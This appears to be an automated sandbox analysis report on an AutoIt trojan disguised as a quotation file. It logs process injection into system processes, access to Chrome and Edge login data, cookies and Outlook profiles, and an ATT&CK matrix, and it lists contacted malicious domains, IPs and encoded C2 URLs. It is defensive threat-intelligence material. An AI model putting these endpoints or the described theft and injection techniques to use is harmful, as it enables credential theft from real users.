Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtOpenFile: Direct from: 0x77502CEC	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtAllocateVirtualMemory: Direct from: 0x77503BBC	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtQueryInformationToken: Direct from: 0x77502BCC	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtSetInformationProcess: Direct from: 0x77502B7C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtMapViewOfSection: Direct from: 0x77502C3C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtAllocateVirtualMemory: Direct from: 0x77502B1C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtResumeThread: Direct from: 0x775035CC	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtReadFile: Direct from: 0x775029FC	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtQuerySystemInformation: Direct from: 0x77502D1C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtNotifyChangeKey: Direct from: 0x77503B4C	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	NtWriteVirtualMemory: Direct from: 0x77502D5C	Jump to behavior

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Section loaded: NULL target: C:\Windows\SysWOW64\svchost.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: NULL target: C:\Windows\SysWOW64\cmdkey.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Section loaded: NULL target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Windows\SysWOW64\cmdkey.exe

Thread register set: target process: 3380

Queues an APC in another process (thread injection)

Source: C:\Windows\SysWOW64\cmdkey.exe

Thread APC queued: target process: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Writes to foreign memory regions

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Memory written: C:\Windows\SysWOW64\svchost.exe base: CB8008

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

2_2_00121201

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_00102BA5 SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

2_2_00102BA5

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_0012B226 SendInput,keybd_event,

2_2_0012B226

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_001422DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

2_2_001422DA

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\QUOTATION#050125.exe"	Jump to behavior
Source: C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe	Process created: C:\Windows\SysWOW64\cmdkey.exe "C:\Windows\SysWOW64\cmdkey.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

2_2_00120B62

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_00121663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

2_2_00121663

Source: QUOTATION#050125.exe	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: SwDwSdNMaTt.exe, 00000005.00000000.289197192384.00000000019A0000.00000002.00000001.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000005.00000002.293705434048.00000000019A0000.00000002.00000001.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000000.289343740280.0000000001420000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Program Manager
Source: QUOTATION#050125.exe, SwDwSdNMaTt.exe, 00000005.00000000.289197192384.00000000019A0000.00000002.00000001.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000005.00000002.293705434048.00000000019A0000.00000002.00000001.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000000.289343740280.0000000001420000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: SwDwSdNMaTt.exe, 00000005.00000000.289197192384.00000000019A0000.00000002.00000001.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000005.00000002.293705434048.00000000019A0000.00000002.00000001.00040000.00000000.sdmp, SwDwSdNMaTt.exe, 00000007.00000000.289343740280.0000000001420000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progman

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_000E0698 cpuid

2_2_000E0698

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_00138195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

2_2_00138195

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_0011D27A GetUserNameW,

2_2_0011D27A

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_000FB952 GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

2_2_000FB952

Source: C:\Users\user\Desktop\QUOTATION#050125.exe

Code function: 2_2_000C42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

Stealing of Sensitive Information

Tries to harvest and steal browser information (history, passwords, etc)

Source: Yara match	File source: 3.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.293705525670.0000000000C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289274740765.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289276636608.0000000005200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289276489302.0000000003BA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.292817073543.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.292817177626.0000000002F30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.293706459836.0000000004460000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local State	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cookies	Jump to behavior
Source: C:\Windows\SysWOW64\cmdkey.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Local State	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\SysWOW64\cmdkey.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\

Source: QUOTATION#050125.exe	Binary or memory string: WIN_81
Source: QUOTATION#050125.exe	Binary or memory string: WIN_XP
Source: QUOTATION#050125.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_11WIN_10WIN_2022WIN_2019WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\AppearanceUSERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte64HKEY_LOCAL_MACHINEHKLMHKEY_CLASSES_ROOTHKCRHKEY_CURRENT_CONFIGHKCCHKEY_CURRENT_USERHKCUHKEY_USERSHKUREG_EXPAND_SZREG_SZREG_MULTI_SZREG_DWORDREG_QWORDREG_BINARYRegDeleteKeyExWadvapi32.dll+.-.\\[\\nrt]\|%%\|%[-+ 0#]?([0-9]\|\)?(\.[0-9]\|\.\)?[hlL]?[diouxXeEfgGs](*UCP)\XISVISIBLEISENABLEDTABLEFTTABRIGHTCURRENTTABSHOWDROPDOWNHIDEDROPDOWNADDSTRINGDELSTRINGFINDSTRINGGETCOUNTSETCURRENTSELECTIONGETCURRENTSELECTIONSELECTSTRINGISCHECKEDCHECKUNCHECKGETSELECTEDGETLINECOUNTGETCURRENTLINEGETCURRENTCOLEDITPASTEGETLINESENDCOMMANDIDGETITEMCOUNTGETSUBITEMCOUNTGETTEXTGETSELECTEDCOUNTISSELECTEDSELECTALLSELECTCLEARSELECTINVERTDESELECTFINDITEMVIEWCHANGEGETTOTALCOUNTCOLLAPSEEXPANDmsctls_statusbar321tooltips_class32%d/%02d/%02dbuttonComboboxListboxSysDateTimePick32SysMonthCal32.icl.exe.dllMsctls_Progress32msctls_trackbar32SysAnimate32msctls_updown32SysTabControl32SysTreeView32SysListView32-----@GUI_DRAGID@GUI_DROPID@GUI_DRAGFILEError text not found (please report)Q\EDEFINEUTF16)UTF)UCP)NO_AUTO_POSSESS)NO_START_OPT)LIMIT_MATCH=LIMIT_RECURSION=CR)LF)CRLF)ANY)ANYCRLF)BSR_ANYCRLF)BSR_UNICODE)argument is not a compiled regular expressionargument not compiled in 16 bit modeinternal error: opcode not recognizedinternal error: missing capturing bracketfailed to get memory
Source: QUOTATION#050125.exe	Binary or memory string: WIN_XPe
Source: QUOTATION#050125.exe	Binary or memory string: WIN_VISTA
Source: QUOTATION#050125.exe	Binary or memory string: WIN_7
Source: QUOTATION#050125.exe	Binary or memory string: WIN_8

Remote Access Functionality

Source: Yara match	File source: 3.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.293705525670.0000000000C80000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289274740765.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289276636608.0000000005200000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.289276489302.0000000003BA0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.292817073543.0000000002EE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.292817177626.0000000002F30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.293706459836.0000000004460000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00141204 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,listen,WSAGetLastError,closesocket,		2_2_00141204
Source: C:\Users\user\Desktop\QUOTATION#050125.exe	Code function: 2_2_00141806 socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		2_2_00141806

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	1 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	4 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 Abuse Elevation Control Mechanism	1 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 DLL Side-Loading	1 Abuse Elevation Control Mechanism	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	2 Valid Accounts	3 Obfuscated Files or Information	NTDS	116 System Information Discovery	Distributed Component Object Model	21 Input Capture	4 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	21 Access Token Manipulation	1 DLL Side-Loading	LSA Secrets	241 Security Software Discovery	SSH	3 Clipboard Data	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	412 Process Injection	2 Valid Accounts	Cached Domain Credentials	12 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Virtualization/Sandbox Evasion	DCSync	3 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	21 Access Token Manipulation	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	412 Process Injection	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
QUOTATION#050125.exe	100%	Avira	DR/AutoIt.Gen8
QUOTATION#050125.exe	63%	ReversingLabs	Win32.Trojan.AutoitInject
QUOTATION#050125.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://www.rpa.asia/bwjl/	0%	Avira URL Cloud	safe
http://www.ogbos88.cyou	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/images/iOS-72.png	0%	Avira URL Cloud	safe
http://www.ogbos88.cyou/kj1o/	0%	Avira URL Cloud	safe
http://www.chiro.live/jwa9/	0%	Avira URL Cloud	safe
http://www.furrcali.xyz/k29t/	0%	Avira URL Cloud	safe
https://www.loopia.com/support?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parking	0%	Avira URL Cloud	safe
http://www.bonheur.tech/t3iv/	0%	Avira URL Cloud	safe
http://maximumgroup.co.za/cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNjeYmE	0%	Avira URL Cloud	safe
http://www.buyspeechst.shop/w98i/	0%	Avira URL Cloud	safe
http://www.givvjn.info/nkmx/?6B-l7F=eUQnbnMYY/LCOqGDejL9TQzNqDkA9lUjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth/8fPOW7Uk3kTT+8ArA=&80k=lRapCPMXgDk	0%	Avira URL Cloud	safe
http://www.zbywl.com/js.js	0%	Avira URL Cloud	safe
https://static.loopia.se/shared/logo/logo-loopia-white.svg	0%	Avira URL Cloud	safe
http://www.100millionjobs.africa/cxj4/	0%	Avira URL Cloud	safe
https://www.loopia.com/order/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingw	0%	Avira URL Cloud	safe
https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingwe	0%	Avira URL Cloud	safe
https://www.loopia.com/wordpress/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	0%	Avira URL Cloud	safe
http://www.nextlevel.finance/kgjj/	0%	Avira URL Cloud	safe
http://www70.chiro.live/	0%	Avira URL Cloud	safe
http://www.chiro.live/jwa9?gp=1&js=1&uuid=1736438267.0098365932&other_args=eyJ1cmkiOiAiL2p3YTkiLCAiY	0%	Avira URL Cloud	safe
http://www.rpa.asia/bwjl/?6B-l7F=DlXUXSIcZnIsgzlziINoOaBHIWRz+kGepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v1ALJkcTW8WFFCOZqPs=&80k=lRapCPMXgDk	0%	Avira URL Cloud	safe
https://static.loopia.se/shared/images/additional-pages-hero-shape.webp	0%	Avira URL Cloud	safe
https://www.furrcali.xyz/k29t/?6B-l7F=mLM4NyV3Rm7LSF6x/a3vps0uRUV7zEkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGe	0%	Avira URL Cloud	safe
http://maximumgroup.co.za/cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNj	0%	Avira URL Cloud	safe
https://static.loopia.se/shared/style/2022-extra-pages.css	0%	Avira URL Cloud	safe
http://www.furrcali.xyz/k29t/?6B-l7F=mLM4NyV3Rm7LSF6x/a3vps0uRUV7zEkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaXyxOjElLsGmAN2m/Z8=&80k=lRapCPMXgDk	0%	Avira URL Cloud	safe
http://www.nextlevel.finance/kgjj/?6B-l7F=m0PzV+DL9MdhQie9ia/fmr3XBWpQsDf/lotYUX+AhjMoQA7F3K3FjPv8kV/QBw/PdU/OXM/ri/IbrFYG4xypiABwnaSWREGU3uu7ZafkuM6Gl/4SxdxZjgo=&80k=lRapCPMXgDk	0%	Avira URL Cloud	safe
http://www.bonheur.tech/t3iv/?80k=lRapCPMXgDk&6B-l7F=P136bSYw/boin6uqIxZ+PLa4sXTYWAHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2CMMqknG4ydwL3V23OA=	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/images/iOS-114.png	0%	Avira URL Cloud	safe
http://www.givvjn.info/nkmx/	0%	Avira URL Cloud	safe
https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=park	0%	Avira URL Cloud	safe
http://ocsp.rootca1.amazontrust.com0:	0%	Avira URL Cloud	safe
http://whois.loopia.com/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&ut	0%	Avira URL Cloud	safe
https://ogbos88vip.click	0%	Avira URL Cloud	safe
http://www.bokus.site/qps0/	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/styles/reset.css	0%	Avira URL Cloud	safe
http://www.mirenzhibo.net/wbfy/	0%	Avira URL Cloud	safe
http://www.100millionjobs.africa/cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqIJ6FVQVj1Nnq3yix8Cc=	0%	Avira URL Cloud	safe
https://static.loopia.se/responsive/images/iOS-57.png	0%	Avira URL Cloud	safe
http://www.buyspeechst.shop/w98i/?6B-l7F=UfwHaNGeM7ohZqxLfFoMCRROWED3zeeFYxLhiKeMkeFhJQngpiBu1nR/iO/Vw2KMOuQK2IyXNyNkQANnRhWnyAeSvZ4PYAj0T7gn5VntXdX45GkikqbyqPY=&80k=lRapCPMXgDk	0%	Avira URL Cloud	safe
http://www.lejgnu.info/gcvb/	0%	Avira URL Cloud	safe
http://www.mirenzhibo.net/wbfy/?6B-l7F=Xeeb3ImT6ZQQytgApKylbK7mnw/Uy82KlqPkukVQbKRvaGCiHgrQQJpKPHE9m9OFKl001Zh7fqviaNy8QasigmVtVgrnFrjMGvUSPSWgMjv1orXfOBS8k1A=&80k=lRapCPMXgDk	0%	Avira URL Cloud	safe
http://www.mzkd6gp5.top/3u0p/	0%	Avira URL Cloud	safe
https://www.loopia.com/sitebuilder/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	0%	Avira URL Cloud	safe
https://www.loopia.com/domainnames/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	0%	Avira URL Cloud	safe
https://www.loopia.com/hosting/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkin	0%	Avira URL Cloud	safe
http://www.lejgnu.info/gcvb/?6B-l7F=R3JWUl3ivpsXcFtFFeliieQU9JuOkkLjcoMED/ZSuHZ0i4hSpIKzgOSsfpnIAqnHyqi+O0adg4Vr07jACry21CI+4oE0/hewEO2O8IWqeYD/JQ6qTGavsAY=&80k=lRapCPMXgDk	0%	Avira URL Cloud	safe
http://www.chiro.live/jwa9/?6B-l7F=nbEb6BapjrCYd3vuEk68dRLY4ua2Mo84Z9DLelTcrJ4p8hOiBplI39ztzhaal76qFYKe8ooJF22mI/JvRPR9KZtEPsGPSZvpHz4gKTT9RHcltuCAAAk51J4=&80k=lRapCPMXgDk	0%	Avira URL Cloud	safe
https://www.loopia.com/woocommerce/?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=pa	0%	Avira URL Cloud	safe
https://www.loopia.se?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
www.rpa.asia	160.25.166.123	true	true	unknown
www.mirenzhibo.net	202.95.11.110	true	true	unknown
www.furrcali.xyz	103.106.67.112	true	true	unknown
www.milp.store	194.9.94.85	true	true	unknown
www.bonheur.tech	13.248.169.48	true	true	unknown
www.lejgnu.info	47.83.1.90	true	true	unknown
www.chiro.live	45.33.2.79	true	true	unknown
www.bokus.site	199.192.21.169	true	true	unknown
www.givvjn.info	47.83.1.90	true	true	unknown
www.mzkd6gp5.top	104.21.32.1	true	true	unknown
100millionjobs.africa	136.243.64.147	true	true	unknown
www.nextlevel.finance	13.248.169.48	true	true	unknown
www.ogbos88.cyou	172.67.132.227	true	true	unknown
www.buyspeechst.shop	104.21.32.1	true	true	unknown
www.elettrocoltura.info	unknown	unknown	false	unknown
www.100millionjobs.africa	unknown	unknown	false	unknown
www.smartbath.shop	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.rpa.asia/bwjl/	true	Avira URL Cloud: safe	unknown
http://www.ogbos88.cyou/kj1o/	true	Avira URL Cloud: safe	unknown
http://www.chiro.live/jwa9/	true	Avira URL Cloud: safe	unknown
http://www.furrcali.xyz/k29t/	true	Avira URL Cloud: safe	unknown
http://www.buyspeechst.shop/w98i/	true	Avira URL Cloud: safe	unknown
http://www.bonheur.tech/t3iv/	true	Avira URL Cloud: safe	unknown
http://www.givvjn.info/nkmx/?6B-l7F=eUQnbnMYY/LCOqGDejL9TQzNqDkA9lUjsamtmjAjCJYjPTSalXudwPcRr9EknZYtOZpCljWDkwtbq6MUXcKSC+3UVsfypEs97CYth/8fPOW7Uk3kTT+8ArA=&80k=lRapCPMXgDk	true	Avira URL Cloud: safe	unknown
http://www.100millionjobs.africa/cxj4/	true	Avira URL Cloud: safe	unknown
http://www.nextlevel.finance/kgjj/	true	Avira URL Cloud: safe	unknown
http://www.rpa.asia/bwjl/?6B-l7F=DlXUXSIcZnIsgzlziINoOaBHIWRz+kGepY2CMnKH5/Z+wLXeqyLz34dEMj2dm6NLuVk54f0N3OpI5VHZ7BJAsS5zdqtXFQ+nWWO+v1ALJkcTW8WFFCOZqPs=&80k=lRapCPMXgDk	true	Avira URL Cloud: safe	unknown
http://www.furrcali.xyz/k29t/?6B-l7F=mLM4NyV3Rm7LSF6x/a3vps0uRUV7zEkflC/cwX9Xx9eDQBJ7/gNt59cujgLWGeygpdsHuHQ6ZT1nZEeE6AzqPDDMRo6XGpuD1XHiaXyxOjElLsGmAN2m/Z8=&80k=lRapCPMXgDk	true	Avira URL Cloud: safe	unknown
http://www.nextlevel.finance/kgjj/?6B-l7F=m0PzV+DL9MdhQie9ia/fmr3XBWpQsDf/lotYUX+AhjMoQA7F3K3FjPv8kV/QBw/PdU/OXM/ri/IbrFYG4xypiABwnaSWREGU3uu7ZafkuM6Gl/4SxdxZjgo=&80k=lRapCPMXgDk	true	Avira URL Cloud: safe	unknown
http://www.bonheur.tech/t3iv/?80k=lRapCPMXgDk&6B-l7F=P136bSYw/boin6uqIxZ+PLa4sXTYWAHk9qKLeTmXrWAePyaHTSDMFoauBTWx0ig1S3CVFsx30iUtjRVQiBy55I3Yp99Gh3kk8H5H2CMMqknG4ydwL3V23OA=	true	Avira URL Cloud: safe	unknown
http://www.givvjn.info/nkmx/	true	Avira URL Cloud: safe	unknown
http://www.bokus.site/qps0/	true	Avira URL Cloud: safe	unknown
http://www.mirenzhibo.net/wbfy/	true	Avira URL Cloud: safe	unknown
http://www.100millionjobs.africa/cxj4/?80k=lRapCPMXgDk&6B-l7F=gKtC9mpNHTkTr00JCblrl8a3AfTX/duoM8EbXMKNjeYmEZtcGajyBctrWO6oEHOoogFTlfS8+DNQw55D2MfCqAhjIjNgZ6kwkHLqIJ6FVQVj1Nnq3yix8Cc=	true	Avira URL Cloud: safe	unknown
http://www.buyspeechst.shop/w98i/?6B-l7F=UfwHaNGeM7ohZqxLfFoMCRROWED3zeeFYxLhiKeMkeFhJQngpiBu1nR/iO/Vw2KMOuQK2IyXNyNkQANnRhWnyAeSvZ4PYAj0T7gn5VntXdX45GkikqbyqPY=&80k=lRapCPMXgDk	true	Avira URL Cloud: safe	unknown
http://www.lejgnu.info/gcvb/	true	Avira URL Cloud: safe	unknown
